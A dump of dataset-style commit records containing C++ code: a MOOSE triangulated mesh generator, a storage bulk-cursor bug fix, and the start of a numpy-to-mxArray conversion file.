}\n\n \/\/\n \/\/ add nodesets for boundaries\n \/\/\n\n for (p2t::Point* point : outer_polyline) {\n boundary_info.add_node(point_node_map[point], _outer_boundary_id);\n }\n \/\/ boundary_info.sideset_name(_outer_boundary_id) = _outer_boundary_name;\n\n \/\/ generate sidesets from nodesets\n \/\/ boundary_info.build_side_list_from_node_list();\n\n \/\/\n \/\/ Cleanup P2T objects\n \/\/\n\n delete cdt;\n _clearPoints(outer_polyline);\n _clearPoints(inner_polyline);\n _clearPoints(steiner_points);\n\n \/\/\n \/\/ finalize mesh and return\n \/\/\n\n mesh->prepare_for_use();\n\n return dynamic_pointer_cast<MeshBase>(mesh);\n}\n\nvoid TriangulatedMeshGenerator::_create_sorted_boundary_node_list(std::unique_ptr<MeshBase>& mesh, std::vector<Node*>& inner_boundary_nodes)\n{\n BoundaryInfo & boundary_info = mesh->get_boundary_info();\n\n \/\/ poly2tri requires input boundary nodes be in connected order\n \/\/ create edge node pairs to sort by connectivity\n\n \/\/ vector of <element_id, side_id, boundary_id> tuples\n auto side_list = boundary_info.build_side_list();\n\n std::vector<std::pair<dof_id_type, dof_id_type>> boundary_node_assm;\n\n \/\/ create edge node pairs for sides on the specified boundary\n for (const auto entry : side_list) {\n \/\/ select out tuple components\n dof_id_type element_id = std::get<0>(entry);\n unsigned short int side_id = std::get<1>(entry);\n boundary_id_type boundary_id = std::get<2>(entry);\n\n \/\/ skip sides not in given boundary id\n if (boundary_id != _inner_boundary_id) {\n continue;\n }\n\n \/\/ select out nodes for given side and add to list\n auto side = mesh->elem_ptr(element_id)->side_ptr(side_id);\n\n boundary_node_assm.push_back(\n std::make_pair(side->node_id(0), side->node_id(1))\n );\n }\n\n \/\/\n \/\/ sort boundary sides into connected order\n \/\/\n\n std::vector<dof_id_type> boundary_ordered_node_list;\n bool isFlipped = false;\n\n \/\/ start sorted node list with nodes from first side in side list, first two nodes are sorted\n \/\/ remove side from side list to be sorted\n boundary_ordered_node_list.push_back(boundary_node_assm.front().first);\n boundary_ordered_node_list.push_back(boundary_node_assm.front().second);\n boundary_node_assm.erase(boundary_node_assm.begin());\n\n \/\/ save initial length of the list, size will shrink during loop\n const unsigned int boundary_node_assm_size_0 = boundary_node_assm.size();\n \/\/ iterate over all remaining side pairs\n for (unsigned int i = 0; i < boundary_node_assm_size_0; i++) {\n \/\/ use the last node in the sorted node list for lookup\n \/\/ find the side in the remaining side list that connects to this node\n dof_id_type end_node_id = boundary_ordered_node_list.back();\n\n \/\/ create lambda functions to search remaining side list\n \/\/ lambda to check if current end_node_id is in pair first position\n auto node_in_first_pos =\n [end_node_id](std::pair<dof_id_type, dof_id_type> old_id_pair) {\n return old_id_pair.first == end_node_id;\n };\n \/\/ lambda to check if current end_node_id is in pair second position\n auto node_in_second_pos =\n [end_node_id](std::pair<dof_id_type, dof_id_type> old_id_pair) {\n return old_id_pair.second == end_node_id;\n };\n\n \/\/ search for pair with current end_node_id in first position\n auto result = std::find_if(\n boundary_node_assm.begin(),\n boundary_node_assm.end(),\n node_in_first_pos);\n\n \/\/ check if first location pair was found\n \/\/ if not, re-search in second position\n bool match_first;\n if (result != boundary_node_assm.end()) {\n match_first = true;\n } else {\n match_first = false;\n result = std::find_if(\n boundary_node_assm.begin(),\n boundary_node_assm.end(),\n node_in_second_pos);\n }\n\n \/\/ check that a pair was found in either first or second position\n if (result != boundary_node_assm.end()) {\n \/\/ based on where the existing node was found\n \/\/ add the correct connected node to sorted node list\n boundary_ordered_node_list.push_back(match_first ? (*result).second : (*result).first);\n \/\/ remove pair from remaining side list\n boundary_node_assm.erase(result);\n }\n else {\n \/\/ If there are still elements in boundary_node_assm and result ==\n \/\/ boundary_node_assm.end(), this means the boundary is not a loop, the\n \/\/ boundary_ordered_node_list is flipped and try the other direction Has not\n \/\/ been tested yet.\n if (isFlipped) {\n mooseError(\"The boundary has more than one segments. This code does not work for that case.\");\n }\n\n isFlipped = true;\n std::reverse(boundary_ordered_node_list.begin(), boundary_ordered_node_list.end());\n \/\/ As this iteration is wasted, reset the iterator\n i--;\n }\n }\n \/\/ If the boundary is a loop, remove the last node as it should be the same as\n \/\/ the first one\n if (boundary_ordered_node_list.front() == boundary_ordered_node_list.back()) {\n boundary_ordered_node_list.erase(boundary_ordered_node_list.end() - 1);\n }\n\n \/\/ resolve node_ids to Node pointers\n for (dof_id_type node_id : boundary_ordered_node_list) {\n Node *node = mesh->node_ptr(node_id);\n inner_boundary_nodes.push_back(node);\n }\n}\n\nvoid TriangulatedMeshGenerator::_clearPoints(std::vector<p2t::Point*>& point_list)\n{\n for (auto point : point_list) {\n delete point;\n }\n point_list.clear();\n}\n<commit_msg>Removed development std::cout debug statements.<commit_after>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"TriangulatedMeshGenerator.h\"\n\n\/\/ poly2tri triangulation library\n#include \"poly2tri.h\"\n\nregisterMooseObject(\"ReactorApp\", TriangulatedMeshGenerator);\n\nInputParameters\nTriangulatedMeshGenerator::validParams()\n{\n InputParameters params = MeshGenerator::validParams();\n\n params.addRangeCheckedParam<SubdomainID>(\n \"subdomain_id\",\n \"subdomain_id>=0\",\n \"The subdomain ID given to the TRI3 elements in the triangulation.\");\n params.addRequiredParam<MeshGeneratorName>(\n \"inner_boundary_mesh\",\n \"The mesh to use for the inner boundary of the triangulation.\");\n params.addRangeCheckedParam<boundary_id_type>(\n \"inner_boundary_id\",\n \"inner_boundary_id>=0\",\n \"The boundary ID of the inner mesh outer boundary.\");\n params.addParam<std::string>(\n \"inner_boundary_name\",\n \"The boundary name of the inner mesh outer boundary.\");\n params.addRequiredRangeCheckedParam<Real>(\n \"outer_circle_radius\",\n \"outer_circle_radius>0\",\n \"Radius of outer circle boundary.\");\n params.addRequiredRangeCheckedParam<unsigned int>(\n \"outer_circle_num_segments\",\n \"outer_circle_num_segments>0\",\n \"Number of radial segments to subdivide outer circle boundary.\");\n params.addRangeCheckedParam<boundary_id_type>(\n \"outer_boundary_id\",\n \"outer_boundary_id>=0\",\n \"The boundary id for the generated mesh outer boundary.\");\n \/\/ params.addParam<std::string>(\n \/\/ \"outer_boundary_name\",\n \/\/ \"The boundary name of the generated mesh outer boundary.\");\n params.addParam<std::vector<Real>>(\n \"extra_circle_radii\",\n \"Radii of extra Steiner point circles.\");\n params.addParam<std::vector<unsigned int>>(\n \"extra_circle_num_segments\",\n \"Number of segments for extra Steiner point circles.\");\n params.addClassDescription(\n \"This TriangulatedMeshGenerator object is designed to generate \"\n \"a triangulated mesh between a generated outer circle boundary \"\n \"and a provided inner mesh.\");\n\n return params;\n}\n\nTriangulatedMeshGenerator::TriangulatedMeshGenerator(const InputParameters & parameters)\n : MeshGenerator(parameters),\n _tri_subdomain_id(isParamValid(\"subdomain_id\") ? getParam<SubdomainID>(\"subdomain_id\") : 0),\n _inner_boundary_mesh(getMesh(\"inner_boundary_mesh\")),\n _outer_circle_radius(getParam<Real>(\"outer_circle_radius\")),\n _outer_circle_num_segments(getParam<unsigned int>(\"outer_circle_num_segments\")),\n _outer_boundary_id(isParamValid(\"outer_boundary_id\") ? getParam<boundary_id_type>(\"outer_boundary_id\") : 0),\n \/\/ _outer_boundary_name(isParamValid(\"outer_boundary_name\") ? getParam<std::string>(\"outer_boundary_name\") : std::string(\"outside\")),\n _extra_circle_radii(getParam<std::vector<Real>>(\"extra_circle_radii\")),\n _extra_circle_num_segments(getParam<std::vector<unsigned int>>(\"extra_circle_num_segments\"))\n{\n \/\/ confirm either id or name (exclusive or) for inner mesh boundary is provided\n if ((!isParamValid(\"inner_boundary_id\") && !isParamValid(\"inner_boundary_name\")) ||\n (isParamValid(\"inner_boundary_id\") && isParamValid(\"inner_boundary_name\"))) {\n paramError(\n \"inner_boundary_id\",\n \"Either 'inner_boundary_id' or 'inner_boundary_name' must be provided, but not both.\");\n }\n\n \/\/ confirm Steiner inputs are equal length\n if (_extra_circle_radii.size() != _extra_circle_num_segments.size()) {\n paramError(\n \"extra_circle_num_segments\",\n \"The size of 'extra_circle_num_segments' must be equal to the size of 'extra_circle_radii'.\");\n }\n}\n\nstd::unique_ptr<MeshBase>\nTriangulatedMeshGenerator::generate()\n{\n \/\/\n \/\/ Set up mesh based on input inner mesh\n \/\/\n\n std::unique_ptr<MeshBase> mesh = std::move(_inner_boundary_mesh);\n BoundaryInfo & boundary_info = mesh->get_boundary_info();\n\n \/\/ set inner boundary id based on give input\n if(isParamValid(\"inner_boundary_id\")) {\n _inner_boundary_id = getParam<boundary_id_type>(\"inner_boundary_id\");\n }\n if(isParamValid(\"inner_boundary_name\")) {\n _inner_boundary_id = boundary_info.get_id_by_name(getParam<std::string>(\"inner_boundary_name\"));\n }\n\n \/\/ build nodesets and sidesets\n boundary_info.build_node_list_from_side_list();\n boundary_info.build_side_list_from_node_list();\n\n \/\/\n \/\/ extract boundary nodes from input mesh inner boundary\n \/\/ poly2tri requires input boundary nodes be sorted in connected order\n \/\/\n\n std::vector<Node*> inner_boundary_nodes;\n _create_sorted_boundary_node_list(mesh, inner_boundary_nodes);\n\n \/\/\n \/\/ C2T storage\n \/\/\n\n \/\/\/ Polylines\n std::vector<p2t::Point*> outer_polyline;\n std::vector<p2t::Point*> inner_polyline;\n std::vector<p2t::Point*> steiner_points;\n\n \/\/ store association map for reference\n std::map<p2t::Point*, Node*> point_node_map;\n\n \/\/\n \/\/ Inner P2T boundary; extract from existing mesh\n \/\/\n\n \/\/ POLYLINE NEEDS TO BE DIRECTED\n\n for (Node* node : inner_boundary_nodes) {\n \/\/ extract (x, y) coords\n Real x = (*node)(0);\n Real y = (*node)(1);\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to inner boundary list\n inner_polyline.push_back(point);\n \/\/ add to association map\n point_node_map[point] = node;\n }\n\n \/\/\n \/\/ Outer P2T boundary; create circle from input parameters\n \/\/\n\n \/\/ radial spacing\n Real d_theta = 2.0 * M_PI \/ _outer_circle_num_segments;\n\n for (unsigned int i = 0; i < _outer_circle_num_segments; i++) {\n \/\/ rotation angle\n Real theta = i * d_theta;\n \/\/ calculate (x, y) coords\n Real x = _outer_circle_radius * std::cos(theta);\n Real y = _outer_circle_radius * std::sin(theta);\n\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to outer boundary list\n outer_polyline.push_back(point);\n \/\/ create Node and add to mesh\n Node *node = mesh->add_point(Point(x, y, 0.0));\n \/\/ add to association map\n point_node_map[point] = node;\n }\n\n \/\/\n \/\/ Additional Steiner points; create additional circles of Steiner points between inner and outer boundaries.\n \/\/\n\n for (std::vector<unsigned int>::size_type idx = 0; idx < _extra_circle_radii.size(); idx++) {\n \/\/ extract Steiner point circle parameters\n Real num_segments = _extra_circle_num_segments[idx];\n Real radius = _extra_circle_radii[idx];\n\n \/\/ radial spacing\n d_theta = 2.0 * M_PI \/ num_segments;\n\n for (unsigned int i = 0; i < num_segments; i++) {\n \/\/ rotation angle\n Real theta = i * d_theta;\n \/\/ calculate (x, y) coords\n Real x = radius * std::cos(theta);\n Real y = radius * std::sin(theta);\n\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to Steiner point list\n steiner_points.push_back(point);\n \/\/ create Node and add to mesh\n Node *node = mesh->add_point(Point(x, y, 0.0));\n \/\/ add to association map\n point_node_map[point] = node;\n }\n }\n\n \/\/\n \/\/ Create P2T CDT and add primary (outer) polyline\n \/\/ NOTE: polyline must be a simple polygon. The polyline's points constitute constrained edges. No repeat points!!!\n \/\/\n\n p2t::CDT* cdt = new p2t::CDT(outer_polyline);\n\n \/\/ Add inner boundary\n cdt->AddHole(inner_polyline);\n\n \/\/ Add Steiner points\n for (const auto& point : steiner_points) {\n cdt->AddPoint(point);\n }\n\n \/\/ Triangulate!\n cdt->Triangulate();\n\n \/\/\n \/\/ Translate triangulated C2T points\/triangles to libMesh nodes\/Tri3s\n \/\/\n\n \/\/ Extract triangle list from triangulation\n std::vector<p2t::Triangle*> triangles = cdt->GetTriangles();\n\n \/\/ process each P2T triangle into libMesh Tri3\n for (p2t::Triangle* triangle : triangles) {\n\n \/\/ create Tri3 element\n Tri3* tri_elem = new Tri3();\n\n \/\/ process each point on triangle\n for (const int i : std::vector<int>{0,1,2}) {\n \/\/ extract p2t::point from triangle\n p2t::Point* point = triangle->GetPoint(i);\n\n \/\/ check if node has been created for point\n \/\/ if not, create and add to map\n if (point_node_map.find(point) == point_node_map.end()) {\n point_node_map[point] = mesh->add_point(Point(point->x, point->y, 0.0));\n }\n\n \/\/ retrieve node and add to element\n tri_elem->set_node(i) = point_node_map[point];\n }\n\n \/\/ set element subdomain id\n tri_elem->subdomain_id() = _tri_subdomain_id;\n\n \/\/ add completed element to mesh\n mesh->add_elem(tri_elem);\n }\n\n \/\/\n \/\/ add nodesets for boundaries\n \/\/\n\n for (p2t::Point* point : outer_polyline) {\n boundary_info.add_node(point_node_map[point], _outer_boundary_id);\n }\n \/\/ boundary_info.sideset_name(_outer_boundary_id) = _outer_boundary_name;\n\n \/\/ generate sidesets from nodesets\n \/\/ boundary_info.build_side_list_from_node_list();\n\n \/\/\n \/\/ Cleanup P2T objects\n \/\/\n\n delete cdt;\n _clearPoints(outer_polyline);\n _clearPoints(inner_polyline);\n _clearPoints(steiner_points);\n\n \/\/\n \/\/ finalize mesh and return\n \/\/\n\n mesh->prepare_for_use();\n\n return dynamic_pointer_cast<MeshBase>(mesh);\n}\n\nvoid TriangulatedMeshGenerator::_create_sorted_boundary_node_list(std::unique_ptr<MeshBase>& mesh, std::vector<Node*>& inner_boundary_nodes)\n{\n BoundaryInfo & boundary_info = mesh->get_boundary_info();\n\n \/\/ poly2tri requires input boundary nodes be in connected order\n \/\/ create edge node pairs to sort by connectivity\n\n \/\/ vector of <element_id, side_id, boundary_id> tuples\n auto side_list = boundary_info.build_side_list();\n\n std::vector<std::pair<dof_id_type, dof_id_type>> boundary_node_assm;\n\n \/\/ create edge node pairs for sides on the specified boundary\n for (const auto entry : side_list) {\n \/\/ select out tuple components\n dof_id_type element_id = std::get<0>(entry);\n unsigned short int side_id = std::get<1>(entry);\n boundary_id_type boundary_id = std::get<2>(entry);\n\n \/\/ skip sides not in given boundary id\n if (boundary_id != _inner_boundary_id) {\n continue;\n }\n\n \/\/ select out nodes for given side and add to list\n auto side = mesh->elem_ptr(element_id)->side_ptr(side_id);\n\n boundary_node_assm.push_back(\n std::make_pair(side->node_id(0), side->node_id(1))\n );\n }\n\n \/\/\n \/\/ sort boundary sides into connected order\n \/\/\n\n std::vector<dof_id_type> boundary_ordered_node_list;\n bool isFlipped = false;\n\n \/\/ start sorted node list with nodes from first side in side list, first two nodes are sorted\n \/\/ remove side from side list to be sorted\n boundary_ordered_node_list.push_back(boundary_node_assm.front().first);\n boundary_ordered_node_list.push_back(boundary_node_assm.front().second);\n boundary_node_assm.erase(boundary_node_assm.begin());\n\n \/\/ save initial length of the list, size will shrink during loop\n const unsigned int boundary_node_assm_size_0 = boundary_node_assm.size();\n \/\/ iterate over all remaining side pairs\n for (unsigned int i = 0; i < boundary_node_assm_size_0; i++) {\n \/\/ use the last node in the sorted node list for lookup\n \/\/ find the side in the remaining side list that connects to this node\n dof_id_type end_node_id = boundary_ordered_node_list.back();\n\n \/\/ create lambda functions to search remaining side list\n \/\/ lambda to check if current end_node_id is in pair first position\n auto node_in_first_pos =\n [end_node_id](std::pair<dof_id_type, dof_id_type> old_id_pair) {\n return old_id_pair.first == end_node_id;\n };\n \/\/ lambda to check if current end_node_id is in pair second position\n auto node_in_second_pos =\n [end_node_id](std::pair<dof_id_type, dof_id_type> old_id_pair) {\n return old_id_pair.second == end_node_id;\n };\n\n \/\/ search for pair with current end_node_id in first position\n auto result = std::find_if(\n boundary_node_assm.begin(),\n boundary_node_assm.end(),\n node_in_first_pos);\n\n \/\/ check if first location pair was found\n \/\/ if not, re-search in second position\n bool match_first;\n if (result != boundary_node_assm.end()) {\n match_first = true;\n } else {\n match_first = false;\n result = std::find_if(\n boundary_node_assm.begin(),\n boundary_node_assm.end(),\n node_in_second_pos);\n }\n\n \/\/ check that a pair was found in either first or second position\n if (result != boundary_node_assm.end()) {\n \/\/ based on where the existing node was found\n \/\/ add the correct connected node to sorted node list\n boundary_ordered_node_list.push_back(match_first ? (*result).second : (*result).first);\n \/\/ remove pair from remaining side list\n boundary_node_assm.erase(result);\n }\n else {\n \/\/ If there are still elements in boundary_node_assm and result ==\n \/\/ boundary_node_assm.end(), this means the boundary is not a loop, the\n \/\/ boundary_ordered_node_list is flipped and try the other direction Has not\n \/\/ been tested yet.\n if (isFlipped) {\n mooseError(\"The boundary has more than one segments. This code does not work for that case.\");\n }\n\n isFlipped = true;\n std::reverse(boundary_ordered_node_list.begin(), boundary_ordered_node_list.end());\n \/\/ As this iteration is wasted, reset the iterator\n i--;\n }\n }\n \/\/ If the boundary is a loop, remove the last node as it should be the same as\n \/\/ the first one\n if (boundary_ordered_node_list.front() == boundary_ordered_node_list.back()) {\n boundary_ordered_node_list.erase(boundary_ordered_node_list.end() - 1);\n }\n\n \/\/ resolve node_ids to Node pointers\n for (dof_id_type node_id : boundary_ordered_node_list) {\n Node *node = mesh->node_ptr(node_id);\n inner_boundary_nodes.push_back(node);\n }\n}\n\nvoid TriangulatedMeshGenerator::_clearPoints(std::vector<p2t::Point*>& point_list)\n{\n for (auto point : point_list) {\n delete point;\n }\n point_list.clear();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"StorageBulkCursor.h\"\n#include \"StorageEnvironment.h\"\n#include \"StoragePageCache.h\"\n\nStorageBulkCursor::StorageBulkCursor() :\n dataPage(NULL, 0)\n{\n chunkID = 0;\n shard = NULL;\n env = NULL;\n isLast = false;\n}\n\nStorageBulkCursor::~StorageBulkCursor()\n{\n env->numBulkCursors = env->numBulkCursors - 1;\n}\n\nStorageKeyValue* StorageBulkCursor::First()\n{\n StorageChunk* chunk;\n StorageChunk** itChunk;\n\n itChunk = shard->chunks.First();\n \n if (itChunk == NULL)\n return NULL;\n\n chunk = *itChunk;\n assert(chunk != NULL);\n \n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n \n return FromNextBunch(chunk);\n}\n\nStorageKeyValue* StorageBulkCursor::Next(StorageKeyValue* it)\n{\n StorageKeyValue* kv;\n StorageChunk* chunk;\n StorageChunk** itChunk;\n\n kv = dataPage.Next((StorageFileKeyValue*) it);\n \n if (kv != NULL)\n {\n assert(kv->GetKey().GetBuffer()[0] != 0);\n return kv;\n }\n \n \/\/ TODO: what if shard has been deleted?\n FOREACH(itChunk, shard->chunks)\n {\n if ((*itChunk)->GetChunkID() == chunkID)\n break;\n }\n \n if (itChunk == NULL)\n {\n chunk = shard->GetMemoChunk();\n }\n else\n { \n assert(itChunk != NULL); \/\/ TODO: what if chunk has been deleted?\n chunk = *itChunk;\n }\n assert(chunk != NULL);\n\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n \n kv = FromNextBunch(chunk);\n return kv;\n}\n\nvoid StorageBulkCursor::SetLast(bool isLast_)\n{\n isLast = isLast_;\n}\n\nReadBuffer StorageBulkCursor::GetNextKey()\n{\n return ReadBuffer(nextKey);\n}\n\nvoid StorageBulkCursor::SetNextKey(ReadBuffer key)\n{\n nextKey.Write(key);\n}\n\nvoid StorageBulkCursor::AppendKeyValue(StorageKeyValue* kv)\n{\n dataPage.Append(kv);\n}\n\nvoid StorageBulkCursor::FinalizeKeyValues()\n{\n dataPage.Finalize();\n}\n\nStorageKeyValue* StorageBulkCursor::FromNextBunch(StorageChunk* chunk)\n{\n StorageChunk** itChunk;\n\n while (true)\n {\n if (!isLast)\n {\n dataPage.Reset();\n chunk->NextBunch(*this, shard);\n if (dataPage.First())\n return dataPage.First();\n else\n continue;\n }\n \n \/\/ go to next chunk\n FOREACH(itChunk, shard->chunks)\n {\n if ((*itChunk)->GetChunkID() == chunkID)\n {\n Log_Debug(\"Cursor next chunk\");\n itChunk = shard->chunks.Next(itChunk);\n isLast = false;\n break;\n }\n }\n \n if (itChunk)\n {\n chunk = *itChunk;\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n }\n else\n {\n if (shard->GetMemoChunk()->GetChunkID() == chunkID)\n return NULL; \/\/ end of iteration\n \n \/\/ iterate memoChunk\n chunk = shard->GetMemoChunk();\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n }\n \n dataPage.Reset();\n }\n}\n\nvoid StorageBulkCursor::SetEnvironment(StorageEnvironment* env_)\n{\n env = env_;\n}\n\nvoid StorageBulkCursor::SetShard(StorageShard* shard_)\n{\n shard = shard_;\n}\n<commit_msg>Fixed bug in StorageBulkCursor.<commit_after>#include \"StorageBulkCursor.h\"\n#include \"StorageEnvironment.h\"\n#include \"StoragePageCache.h\"\n\nStorageBulkCursor::StorageBulkCursor() :\n dataPage(NULL, 0)\n{\n chunkID = 0;\n shard = NULL;\n env = NULL;\n isLast = false;\n}\n\nStorageBulkCursor::~StorageBulkCursor()\n{\n env->numBulkCursors = env->numBulkCursors - 1;\n}\n\nStorageKeyValue* StorageBulkCursor::First()\n{\n StorageChunk* chunk;\n StorageChunk** itChunk;\n\n itChunk = shard->chunks.First();\n \n if (itChunk == NULL)\n chunk = shard->GetMemoChunk();\n else\n chunk = *itChunk;\n\n assert(chunk != NULL);\n \n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n \n return FromNextBunch(chunk);\n}\n\nStorageKeyValue* StorageBulkCursor::Next(StorageKeyValue* it)\n{\n StorageKeyValue* kv;\n StorageChunk* chunk;\n StorageChunk** itChunk;\n\n kv = dataPage.Next((StorageFileKeyValue*) it);\n \n if (kv != NULL)\n {\n assert(kv->GetKey().GetBuffer()[0] != 0);\n return kv;\n }\n \n \/\/ TODO: what if shard has been deleted?\n FOREACH(itChunk, shard->chunks)\n {\n if ((*itChunk)->GetChunkID() == chunkID)\n break;\n }\n \n if (itChunk == NULL)\n {\n chunk = shard->GetMemoChunk();\n }\n else\n { \n assert(itChunk != NULL); \/\/ TODO: what if chunk has been deleted?\n chunk = *itChunk;\n }\n assert(chunk != NULL);\n\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n \n kv = FromNextBunch(chunk);\n return kv;\n}\n\nvoid StorageBulkCursor::SetLast(bool isLast_)\n{\n isLast = isLast_;\n}\n\nReadBuffer StorageBulkCursor::GetNextKey()\n{\n return ReadBuffer(nextKey);\n}\n\nvoid StorageBulkCursor::SetNextKey(ReadBuffer key)\n{\n nextKey.Write(key);\n}\n\nvoid StorageBulkCursor::AppendKeyValue(StorageKeyValue* kv)\n{\n dataPage.Append(kv);\n}\n\nvoid StorageBulkCursor::FinalizeKeyValues()\n{\n dataPage.Finalize();\n}\n\nStorageKeyValue* StorageBulkCursor::FromNextBunch(StorageChunk* chunk)\n{\n StorageChunk** itChunk;\n\n while (true)\n {\n if (!isLast)\n {\n dataPage.Reset();\n chunk->NextBunch(*this, shard);\n if (dataPage.First())\n return dataPage.First();\n else\n continue;\n }\n \n \/\/ go to next chunk\n FOREACH(itChunk, shard->chunks)\n {\n if ((*itChunk)->GetChunkID() == chunkID)\n {\n Log_Debug(\"Cursor next chunk\");\n itChunk = shard->chunks.Next(itChunk);\n isLast = false;\n break;\n }\n }\n \n if (itChunk)\n {\n chunk = *itChunk;\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n }\n else\n {\n if (shard->GetMemoChunk()->GetChunkID() == chunkID)\n return NULL; \/\/ end of iteration\n \n \/\/ iterate memoChunk\n chunk = shard->GetMemoChunk();\n chunkID = chunk->GetChunkID();\n\/\/ Log_Message(\"Iterating chunk %U\", chunkID);\n }\n \n dataPage.Reset();\n }\n}\n\nvoid StorageBulkCursor::SetEnvironment(StorageEnvironment* env_)\n{\n env = env_;\n}\n\nvoid StorageBulkCursor::SetShard(StorageShard* shard_)\n{\n shard = shard_;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/#define NO_IMPORT_ARRAY \n\/\/#define PY_ARRAY_UNIQUE_SYMBOL 23847\n\/\/#define NPY_ENABLE_SEPARATE_COMPILATION\n\n#ifdef LINK_PYTHON_THREADS\n#include \"gil_release.h\"\n#endif\n\n#include \"boilerplate.h\"\n\/*#include <infer_machine\/distribution_map.h>\n#include <infer_machine\/hier_infer_machine.h>\n\n\/\/#include <dataset_2d\/outdoor_2d.h>\n#include <graph_segment\/fh_segmenter.h>\n#include <region_generic\/region_data.h>\n#include <region_2d\/region_2d_level.h>\n\n#include <v_regressor\/v_random_forest.h>\n#include <pclassifier\/boosted_maxent.h>\n\n#include \"voc_felz_features.h\"\n*\/\n#include <mymex.h>\n\nbool numpy_satisfy_properties(PyArrayObject *ao, \n int nd, \n int* dims, \n int type_num, \n bool yell)\n{\n if (ao->base != NULL) {\n if (yell) {\n printf(\"OH NO! base was %p instead of NULL!\\n\", \n ao->base);\n fflush(stdout);\n }\n return false;\n }\n\n if (!(ao->flags | NPY_C_CONTIGUOUS)) {\n if (yell) {\n printf(\"ON NO! NPY_C_CONTIGUOUS FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n if (!(ao->flags | NPY_OWNDATA)) {\n if (yell) {\n printf(\"ON NO! NPY_OWNDATA FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n if (!(ao->flags | NPY_ALIGNED)) {\n if (yell) {\n printf(\"ON NO! NPY_ALIGNED FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n\n if (nd >= 0) {\n if (ao->nd != nd) {\n if (yell) {\n printf(\"numpy_satisfy_properties OH NO! nd = %d and desired nd = %d!\\n\",\n ao->nd, nd);\n fflush(stdout);\n }\n return false;\n }\n \n if (dims != NULL) {\n for (int i=0; i<nd; i++) {\n if (ao->dimensions[i] != dims[i]) {\n if (yell) {\n printf(\"OH NO! dims[%d] = %ld and desired %d!\\n\", \n i, ao->dimensions[i], dims[i]);\n fflush(stdout);\n }\n return false;\n }\n }\n }\n }\n\n if (ao->descr->type_num != type_num) {\n if (yell) {\n printf(\"OH NO! type_num is %d and desired %d!\\n\", \n ao->descr->type_num, type_num);\n fflush(stdout);\n }\n return false;\n }\n return true;\n}\n\n\n\nstruct mxArray_to_numpy_str {\n static PyObject *convert(const mxArray &m) {\n if (m.NDim == 2) {\n \/* fucking column major bitches *\/ \n npy_intp dims[] = {m.Dims[0], m.Dims[1]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0]; i++) {\n for (int j=0; j<dims[1]; j++) {\n real fake;\n ((real*)retval->data)[i*dims[1] + j] = m.get2D(i, j, fake);\n }\n }\n \n return (PyObject*)retval;\n }\n else if (m.NDim == 3) {\n npy_intp dims[] = {m.Dims[0], m.Dims[1], m.Dims[2]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int c=0; c<dims[2]; c++) {\n for (int col=0; col<dims[1]; col++) {\n for (int row=0; row<dims[0]; row++) {\n real fake;\n ((real*)retval->data)[row*dims[1]*dims[2] + col*dims[2] + c] = \\\n m.get3D(row, col, c, fake);\n }\n }\n }\n return (PyObject*)retval;\n }\n else {\n printf(\"OH NO! Tried to convert mxArray of nd %d to numpy!\\n\", \n m.NDim);\n }\n }\n}; \n\n\nstruct mxArray_from_numpy_str {\n static void* convertible(PyObject *o)\n {\n PyArrayObject *ao = (PyArrayObject*)o; \n\n int cls = npy_real_type();\n if (!numpy_satisfy_properties(ao, 2, NULL, cls, true) &&\n !numpy_satisfy_properties(ao, 3, NULL, cls, true))\n return 0;\n\n return (void*)o;\n }\n\n static void construct(PyObject *o,\n converter::rvalue_from_python_stage1_data* data)\n {\n\n void* storage = ((converter::rvalue_from_python_storage<mxArray>*)data)->storage.bytes;\n PyArrayObject *ao = (PyArrayObject*)o; \n \n new (storage) mxArray(ao->nd, (int*)ao->dimensions, mx_real_type(), mxREAL);\n mxArray* m = (mxArray*)storage;\n \n data->convertible = storage;\n\n if (ao->nd == 2) {\n for (int col=0; col < m->Dims[1]; col++) {\n for (int row=0; row < m->Dims[0]; row++) {\n m->set2D(row, col, ((real*)ao->data)[row*m->Dims[1]* + \n col]);\n }\n }\n }\n else if (ao->nd == 3) {\n for (int c=0; c < m->Dims[2]; c++) {\n for (int col=0; col < m->Dims[1]; col++) {\n for (int row=0; row < m->Dims[0]; row++) {\n m->set3D(row, col, c, ((real*)ao->data)[row*m->Dims[1]*m->Dims[2] + \n col*m->Dims[2] + \n c]);\n }\n }\n }\n }\n }\n \n mxArray_from_numpy_str() \n {\n converter::registry::push_back(&convertible, \n &construct, \n type_id<mxArray>());\n }\n};\n\n\n \n\/\/ template <typename T, typename U>\n\/\/ struct vec_vec_from_numpy_str {\n\/\/ static void *convertible (PyObject *) \n\/\/ {\n\/\/ \tPyArrayObject *ao = (PyArrayObject*)o; \n\/\/ if (!numpy_satisfy_properties(ao, 2, NULL, U, true))\n\/\/ \t return 0;\t\n\/\/ return (void*)o;\n\/\/ }\n \n\/\/ static void construct(PyObject *o, converter::rvalue_from_python_stage1_data* data)\n\/\/ {\n\/\/ \tvoid* 